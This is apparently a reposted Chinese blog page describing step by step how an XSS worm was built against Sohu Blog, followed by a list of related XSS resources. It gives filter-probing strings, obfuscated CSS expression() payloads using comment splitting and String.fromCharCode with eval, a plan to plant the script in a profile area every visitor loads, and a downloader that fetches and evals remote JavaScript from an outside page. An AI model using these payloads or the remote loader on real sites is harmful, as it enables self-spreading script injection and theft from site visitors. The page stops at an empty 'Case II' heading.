`
阅读更多

Case I: 完整的XSS worm入侵实现流程

<img dynsrc="javascript:alert('xss')">

Step 1: 先测试’’;:!--"<javascript JAvaSCriPT>=&#{()} \/ 等字符。结果 过滤了"javascript","&"和"\"这两 个转义字符串,因此HTML转码和CSS样式转码已无效,只好从属性和事件入手.

Step 2: 测试常用属性expression和两个事件onerror/onload。结果没有过滤字符哦

Step 3: 用expression/onerror/onload构造完整语句。结果被过滤。

Step 4: 由于“/”未被过滤,因此可借助<di style="xss:ex/**/pre/**/ssion(alert(’xss’))">

Step 5: 由于expression属性比较特殊相当于一个死循环的EVAL函数,同时style标记里不能出现";"字符,也就是不能构造多条连接在一起的javascript,因此构造出如下语句:

<DIV STYLE="xss:ex/**/pre/**/ssion(eval(xss));" xss="var Then=new Date();Then.setTime(Then.getTime()+10*1000);if(document.cookie.indexOf(’Cookie1=’) == -1){document.cookie=’Cookie1=RAY;expires=’+Then.toGMTString();alert(’xss’);}">

//设置一个COOKIE在10秒后失效,并在这条COOKIE语句中执行其他语句或函数.

Step 6: 遗憾的是SOHU BLOG对于标记内不合适的内容都会过滤,因此我们无法eval标记内的某个变量,于是采用fromCharCode方法,将Unicode字符值专成字符串再用eval函数执行:

<div style="xss:ex/**/pre/**/ssion(eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41)))">

Step 7: 感染流程考虑:

㈠.BLOG页面的个人档案处是页面通用的,

㈡.XSS内容写到个人档案处,所有浏览者都会触发XSS
㈢.实现一段提交XSS内容到个人档案的代码.

Step 8: 个人档案处只能输入2048个字符,又采用了fromCharCode方法,因此出现XSS代码长度的限制,因此只能调用远程代码,于是写出了个XSS downloader.

 

主要代码:

function d(){
a=new ActiveXObject(’Microsoft.XMLHTTP’); /*调用XMLHTTP控件
a.Open(’get’,’http://s0n9.blog.sohu.com/31406970.html’,false);/*发出一个GET提交请求
a.send();
b=a.responseText; /*将传回值赋给变量B
eval(unescape(b.substring(b.indexOf(’--|’)+3,b.indexOf(’|--’))));
/*用indexOf计算 --|********|-- 的位置,用substring方法取出字符串,最后用unescape方法解码.
}d()

http://s0n9.blog.sohu.com/31406970.html 页面代码:

alert%28%27xss%27%29%3B
/*利用escape将标点符号转码,由于responseText特性,某些字符会转换,如"&"字符会变成"&"(&后是amp,论坛过滤了)

PS:其他传染和详细的伪造提交的过程略去,各门户网站小心,过滤好XSS关键字,以防止XSS WROM爆发

traceback:http://www.hackbase.com/tech/2007-12-20/40022.html

 

Case II:

 

分享到:
评论

相关推荐

    预防XSS攻击和SQL注入XssFilter

    一、什么是XSS攻击 XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。攻击者利用XSS漏洞旁路掉访问控制——例如...

    Input XSS最新漏洞及利用

    我们知道,如果要使XSS能够实现,我们的代码必须通过某种方式嵌入到对方的网页中。像注入漏洞的“’”、“and 1=1”和“and 1=2”一样,Input XSS也有自己的漏洞检测字符串,它们就是“”、“”和 “&lt;script&gt;alert(/...

    XSS_Rays.zip_XSS Rays 下载_tool_xss扫描_xss扫描器_漏洞扫描

    基于JS的XSS扫描器——XSS Rays. 最近The Spanner发布了一个名为XSS Rays的 XSS漏洞扫描器。这tool有点意思,是使用JS写的,JS遍历目标的link、form,然后构造测试用例去测试,可以发现DOM的XSS(当然是在测试用例打...

    jQuery-with-XSS 检测jQuery版本是否存在XSS漏洞

    动态站点会受到一种名为“跨站脚本攻击”(Cross Site Scripting, 安全专家们通常将其缩写成XSS,原本应当是css,但为了和层叠样式表(Cascading Style Sheet,CSS )有所区分,故称XSS)的威胁,而静态站点则完全不受...

    Web应用安全:简单XSS测试脚本(实验).docx

    简单XSS测试脚本 一、实验目的 了解XSS的有关知识; 了解XSS的实际操作; 了解XSS的攻击原理。 二、实验内容 在主机上搭建pikachu站点; 在站点上进行简单XSS测试脚本。 三、实验内容与步骤 在主机上搭建pikachu站点...

    XSS测试代码大全————

    XSS测试代码 安全测试 XSS测试代码大全

    免费蓝莲花Bluelotus,XSS工具网安

    【免费】蓝莲花Bluelotus,XSS工具【网安】【免费】蓝莲花Bluelotus,XSS工具【网安】【免费】蓝莲花Bluelotus,XSS工具【网安】【免费】蓝莲花Bluelotus,XSS工具【网安】【免费】蓝莲花Bluelotus,XSS工具【网安】...

    防范XSS攻击程序

    对用户输入的所有数据进行拦截,检测是否含有XSS攻击关键字,如果存在XSS攻击关键字,对一些特殊字符,如:“&lt;”、“&gt;”、“&”等进行转义。 实现方案 自定义一个Filter拦截器,使用 Filter来过滤浏览器发出的...

    XSS & SQL注入

    在这篇文章中我将说明所有关于XSS以及更多相关的知识.通过这篇文档,我希望能让你明白什么是XSS,为什么使用XSS,以及怎样使用XSS.一旦你学会了,你将需要发挥自己的创造力,因为大多数人都修补了简单的XSS漏洞.但是他们...

    xss challenge 下载 xss 实践通关小游戏,以闯关的形式检验xss掌握程度。

    xss challenge 下载 xss 实践通关小游戏,以闯关的形式检验xss掌握程度。

    百度编辑器解决xss漏洞

    百度编辑器解决xss漏洞

    XSS攻击实例1

    简单让你了解xss攻击。 项目基于Asp.net 框架,VS2010下创建,C#语言

    xss.js.zip

    xss是一个用于对用户输入的内容进行过滤,以避免遭受 XSS 攻击的模块,可通过白名单来控制允许的标签及相关的标签属性,另外还提供了一系列的接口以便用户扩展。

    最新完善版XSS平台源码 【40多个模块】,xss源码下载,PHP

    最新完善版XSS平台源码 【40多个模块】

    xss-labs-master.zip(xss注入通关游戏/靶场)

    经典的xss注入通关游戏,搭建简单。适合网络安全测试人员

    XSS跨站脚本gj剖析与防御.pdf

    《XSS跨站脚本攻击剖析与防御》,完整版本。作者:邱永华,出版社:人民邮电出版社,ISBN:9787115311047,PDF 格式,扫描版,大小 67MB。本资源带有PDF书签,方便读者朋友阅读。 内容简介: 《XSS跨站脚本攻击剖析...

    XSS漏洞扫描 XSS漏洞扫描

    XSS漏洞扫描XSS漏洞扫描XSS漏洞扫描XSS漏洞扫描XSS漏洞扫描XSS漏洞扫描XSS漏洞扫描XSS漏洞扫描XSS漏洞扫描XSS漏洞扫描XSS漏洞扫描

    XSS跨站脚本攻击剖析与防御

    XSS跨站脚本攻击剖析与防御是一本专门剖析XSS安全的专业书,总共8章,主要包括的内容如下。第1章 XSS初探,主要阐述了XSS的基础知识,包括XSS的攻击原理和危害。第2章 XSS利用方式,就当前比较流行的XSS利用方式做了...

Global site tag (gtag.js) - Google Analytics